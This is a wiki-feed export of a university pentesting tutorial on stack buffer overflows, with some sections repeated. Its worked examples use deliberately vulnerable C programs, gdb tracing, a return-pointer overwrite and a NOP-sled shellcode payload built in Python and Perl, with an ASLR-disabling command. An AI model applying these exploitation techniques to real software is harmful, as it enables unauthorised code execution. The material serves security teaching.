Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16999</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16999"/>
		<updated>2024-12-11T18:01:59Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 4 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3 ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
